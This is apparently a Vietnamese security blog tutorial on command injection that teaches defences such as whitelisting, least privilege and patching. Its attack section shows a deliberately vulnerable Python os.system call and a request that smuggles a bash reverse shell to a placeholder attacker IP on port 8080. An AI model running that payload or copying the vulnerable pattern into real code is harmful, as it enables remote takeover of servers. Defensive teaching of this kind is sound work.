Tìm hiểu về các cuộc tấn công Command Injection

Lỗ hổng thực thi mã từ xa (Remote code execution) là một loại lỗ hổng xảy ra khi những kẻ tấn công có thể thực thi mã của chúng trên máy của bạn. Một trong những cách phổ biến nhất có thể xảy ra là thông qua các lỗ hổng command injection (tiêm lệnh). Chúng là một kiểu thực thi mã từ xa xảy ra khi đầu vào của người dùng được nối trực tiếp vào một lệnh hệ thống.

Tìm hiểu về các cuộc tấn công Command Injection

Tìm hiểu về các cuộc tấn công Command Injection

Bài trước mình đã hướng dẫn cách khai thác lỗi Command Injection. Bài này chúng ta sẽ tìm hiểu sâu hơn về lỗ hổng Command Injection.

Giả sử rằng trang web của bạn có chức năng cho phép người dùng tải xuống tệp từ xa và xem tệp đó trên trang web. Ứng dụng của bạn sẽ sử dụng lệnh hệ thống để tải xuống tệp từ xa.

Đây là mã nguồn python của chức năng đó. Hàm os.system() thực thi chuỗi đầu vào của nó dưới dạng lệnh hệ thống.

import os
def download(url):
  os.system(“wget -O- {}”.format(url))
display(download(user_input.url))

Wget là một công cụ tải file bằng cách cung cấp một URL và tùy chọn -O- cho phép Wget tải xuống tệp và hiển thị nó ở đầu ra tiêu chuẩn. Vì vậy, chương trình này lấy một URL từ đầu vào của người dùng và chuyển nó vào lệnh Wget được thực thi bằng cách sử dụng os.system(). Ví dụ: nếu bạn gửi yêu cầu này, ứng dụng sẽ tải xuống mã nguồn của trang chủ Google và hiển thị cho bạn.

GET /download?url=google.com
Host: example.com

Trong trường hợp này, lệnh hệ thống trở thành:

wget -O- google.com

Trong dòng lệnh của Linux, dấu chấm phẩy “;” có thể được sử dụng để tách các lệnh riêng lẻ. Kẻ tấn công có thể thực hiện các lệnh tùy ý sau lệnh Wget bằng cách gửi bất kỳ lệnh nào chúng muốn sau dấu chấm phẩy “;”. Đầu vào này sẽ khiến ứng dụng tạo ra một reverse shell kết nối với IP của kẻ tấn công trên cổng 8080.

GET /download?url=”google.com;bash -i >& /dev/tcp/attacker_ip/8080 0>&1"
Host: example.com

Trong trường hợp này, lệnh hệ thống trở thành:

wget -O- google.com;bash -i >& /dev/tcp/attacker_ip/8080 0>&1

Reverse shell làm cho máy chủ mục tiêu giao tiếp với máy của kẻ tấn công và thiết lập giao diện người dùng có thể truy cập từ xa cho phép kẻ tấn công thực hiện bất kỳ lệnh hệ thống nào.

Ngăn chặn Command Injections

Như bạn có thể thấy, việc tiêm lệnh (command injection) có thể giúp kẻ tấn công xâm nhập hoàn toàn ứng dụng của bạn và tài khoản người dùng đang chạy máy chủ web. Vậy làm cách nào để ngăn chặn những lỗ hổng nguy hiểm này?

Trước tiên, bạn có thể ngăn chặn việc tiêm lệnh (command injection) bằng cách không chạy lệnh hệ thống bằng đầu vào do người dùng cung cấp. Nếu bạn cần sử dụng đầu vào của người dùng trong lệnh hệ thống, hãy tránh gọi trực tiếp lệnh của hệ điều hành. Thay vào đó, bạn có thể thử sử dụng các hàm thư viện tích hợp sẵn phục vụ cùng một mục đích. Ví dụ: thay vì sử dụng os.system(“mkdir /dir_name”), bạn có thể sử dụng os.mkdir(“/dir_name”) trong thư viện OS của python. Và vì đầu vào của người dùng có thể được chuyển thành mã được ứng dụng phân tích cú pháp, bạn nên coi các tệp do người dùng tải lên là không đáng tin cậy và bảo vệ tính toàn vẹn của các tệp hệ thống được thực thi, phân tích cú pháp hoặc bao gồm bởi các chương trình.

Ngoài ra, bạn có thể triển khai xác thực đầu cho đầu vào được chuyển vào các lệnh. Cách tốt nhất để là thông qua một danh sách trắng. Bạn có thể đưa các chuỗi vào danh sách trắng hoặc các ký tự được phép trong danh sách trắng. Ví dụ: khi bạn muốn người dùng có thể thực hiện các lệnh tùy ý, bạn có thể đưa các lệnh vào danh sách trắng mà người dùng được phép chạy, chẳng hạn như ls và pwd, và chỉ cho phép các chuỗi đầu vào đó.

Khi bạn không thể làm được điều đó, bạn cũng có thể đưa các ký tự được phép vào danh sách trắng. Ví dụ: biểu thức chính quy này chỉ cho phép các chữ cái và số viết thường và không cho phép bất kỳ ký tự đặc biệt nào có thể được sử dụng để thao tác logic của lệnh. Độ dài của chuỗi đầu vào cũng đang được giới hạn ở 1–10 ký tự.

^[a-z0–9]{1,10}$

Cuối cùng, bạn cũng có thể loại các ký tự được chèn vào các lệnh hệ điều hành. Ví dụ: một số ký tự nguy hiểm cần được loại bỏ bao gồm:

& | ; $ > < ` \ !

Nhưng điều này thường kém hiệu quả hơn vì những kẻ tấn công liên tục nghĩ ra các phương pháp sáng tạo để vượt qua xác thực đầu vào dựa trên danh sách đen.

Nếu vẫn thất bại và kẻ tấn công thực hiện được việc tiêm lệnh vào máy của bạn, làm cách nào bạn có thể giảm thiểu tác hại mà chúng có thể gây ra? Chạy các lệnh tùy ý trên một hệ thống có nghĩa là có quyền truy cập gần như đầy đủ vào các quyền của ứng dụng đó. Vì vậy, nếu bạn giới hạn những gì ứng dụng của bạn có thể thực hiện trên hệ thống của mình, thì một lệnh tiêm đơn lẻ bằng ứng dụng đó sẽ không thể gây hại nghiêm trọng cho hệ thống của bạn.

“Nguyên tắc Đặc quyền Ít nhất” nói rằng các ứng dụng và quy trình chỉ nên được cấp các đặc quyền cần thiết để hoàn thành nhiệm vụ của chúng. Đó là phương pháp hay nhất giúp giảm nguy cơ xâm nhập hệ thống trong một cuộc tấn công vì những kẻ tấn công sẽ không có quyền truy cập vào các tệp và hoạt động nhạy cảm ngay cả khi chúng xâm nhập được người dùng hoặc quy trình có đặc quyền thấp. Ví dụ: khi một ứng dụng web chỉ yêu cầu quyền truy cập đọc vào một tệp, nó sẽ không được cấp bất kỳ quyền ghi hoặc thực thi nào. Bởi vì nếu kẻ tấn công chiếm quyền điều khiển một ứng dụng với đặc quyền cao, kẻ tấn công có thể giành được quyền của nó. Trong trường hợp này, bạn nên giới hạn đặc quyền của người dùng chạy máy chủ web để những kẻ tấn công không thể sử dụng nó để xâm nhập toàn bộ hệ thống.

Cuối cùng, bạn nên cập nhật các bản vá để ngăn dependencies của ứng dụng của bạn tạo ra các lỗ hổng chèn lệnh. Và bạn cũng có thể triển khai tường lửa ứng dụng web (WAF) để chặn các cuộc tấn công đáng ngờ.

Previous Post Next Post